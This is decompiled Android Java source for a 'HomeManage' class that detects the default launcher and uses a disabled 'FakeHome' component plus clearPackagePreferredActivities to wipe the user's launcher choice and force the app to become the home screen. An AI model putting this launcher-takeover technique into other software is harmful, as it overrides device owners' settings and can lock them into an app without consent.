package com.appwoo.txtws.component;

import android.app.Activity;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningTaskInfo;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import com.appwoo.txtws.activity.FakeHome;
import com.appwoo.txtws.bean.HomeData;
import java.util.ArrayList;
import java.util.List;
import java.util.ListIterator;

public class HomeManage
{
  private static HomeManage hm = null;

  private String GetTopActivityPkg(Context paramContext)
  {
    try
    {
      ActivityManager localActivityManager = (ActivityManager)paramContext.getSystemService("activity");
      ComponentName localComponentName = null;
      if (localActivityManager != null)
      {
        Logger.i("install", "222");
        localComponentName = ((ActivityManager.RunningTaskInfo)localActivityManager.getRunningTasks(1).get(0)).topActivity;
        Logger.i("install", "333");
      }
      String str = localComponentName.getPackageName();
      return str;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
    return "";
  }

  public static HomeManage getInstance()
  {
    if (hm == null)
      hm = new HomeManage();
    return hm;
  }

  public boolean checkHome(Context paramContext)
  {
    String str1 = getDefaultLauncher(paramContext);
    String str2 = GetTopActivityPkg(paramContext);
    if (((!"com.appwoo.txtws.activity".equals(str1)) || ((!"com.appwoo.txtws.activity".equals(str1)) && (str2.equals("com.appwoo.txtws.activity")))) && (!str2.equalsIgnoreCase("android")))
    {
      if (str1 != null)
      {
        clearDefault2(paramContext, paramContext.getPackageManager());
        clearDefault(paramContext.getPackageManager(), str1);
      }
      return false;
    }
    return true;
  }

  public void clearDefault(PackageManager paramPackageManager, String paramString)
  {
    try
    {
      paramPackageManager.clearPackagePreferredActivities(paramString);
      return;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }

  public void clearDefault2(Context paramContext, PackageManager paramPackageManager)
  {
    ComponentName localComponentName = new ComponentName("com.appwoo.txtws.activity", FakeHome.class.getName());
    paramPackageManager.setComponentEnabledSetting(localComponentName, 1, 1);
    Intent localIntent = new Intent("android.intent.action.MAIN");
    localIntent.addCategory("android.intent.category.HOME");
    localIntent.setFlags(268435456);
    paramContext.startActivity(localIntent);
    paramPackageManager.setComponentEnabledSetting(localComponentName, 0, 1);
  }

  public void clearSelf(Context paramContext)
  {
    clearDefault(paramContext.getPackageManager(), "com.appwoo.txtws.activity");
  }

  public boolean dirCheckHome(Context paramContext)
  {
    String str1 = getDefaultLauncher(paramContext);
    String str2 = GetTopActivityPkg(paramContext);
    if (((!"com.appwoo.txtws.activity".equals(str1)) || ((!"com.appwoo.txtws.activity".equals(str1)) && (str2.equals("com.appwoo.txtws.activity")))) && (!str2.equalsIgnoreCase("android")))
    {
      if (str1 != null)
      {
        clearDefault2(paramContext, paramContext.getPackageManager());
        clearDefault(paramContext.getPackageManager(), str1);
      }
      return false;
    }
    return true;
  }

  public String getDefaultLauncher(Context paramContext)
  {
    try
    {
      ArrayList localArrayList1 = new ArrayList();
      ArrayList localArrayList2 = new ArrayList();
      paramContext.getPackageManager().getPreferredActivities(localArrayList1, localArrayList2, null);
      for (int i = 0; i < localArrayList2.size(); i++)
      {
        IntentFilter localIntentFilter = (IntentFilter)localArrayList1.get(i);
        if ((localIntentFilter.hasAction("android.intent.action.MAIN")) && (localIntentFilter.hasCategory("android.intent.category.HOME")) && (localIntentFilter.hasCategory("android.intent.category.DEFAULT")))
        {
          String str = ((ComponentName)localArrayList2.get(i)).getPackageName();
          return str;
        }
      }
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
    return null;
  }

  public List<HomeData> getHomeList(List<ResolveInfo> paramList, PackageManager paramPackageManager)
  {
    ArrayList localArrayList = new ArrayList();
    ListIterator localListIterator = paramList.listIterator();
    while (true)
    {
      if (!localListIterator.hasNext())
        return localArrayList;
      localArrayList.add(new HomeData((ResolveInfo)localListIterator.next(), paramPackageManager));
    }
  }

  public List<ResolveInfo> getResolveList(PackageManager paramPackageManager)
  {
    Intent localIntent = new Intent("android.intent.action.MAIN");
    localIntent.addCategory("android.intent.category.HOME");
    localIntent.addCategory("android.intent.category.DEFAULT");
    return paramPackageManager.queryIntentActivities(localIntent, 0);
  }

  public String returnAnyPkg(Context paramContext)
  {
    List localList = getHomeList(getResolveList(paramContext.getPackageManager()), paramContext.getPackageManager());
    if (localList.size() > 2);
    for (int i = 0; ; i++)
    {
      if (i >= localList.size())
        return null;
      HomeData localHomeData = (HomeData)localList.get(i);
      if (!localHomeData.getPackageName().contains("com.appwoo.txtws.activity"))
        return localHomeData.getPackageName();
    }
  }

  public void switchTo(Activity paramActivity)
  {
    Intent localIntent = new Intent("android.intent.action.MAIN");
    localIntent.addCategory("android.intent.category.HOME");
    localIntent.addCategory("android.intent.category.DEFAULT");
    localIntent.setPackage(returnAnyPkg(paramActivity));
    paramActivity.startActivity(localIntent);
    paramActivity.finish();
  }
}

/* Location:           C:\Documents and Settings\Administrator\classes_dex2jar.jar
 * Qualified Name:     com.appwoo.txtws.component.HomeManage
 * JD-Core Version:    0.6.2
 */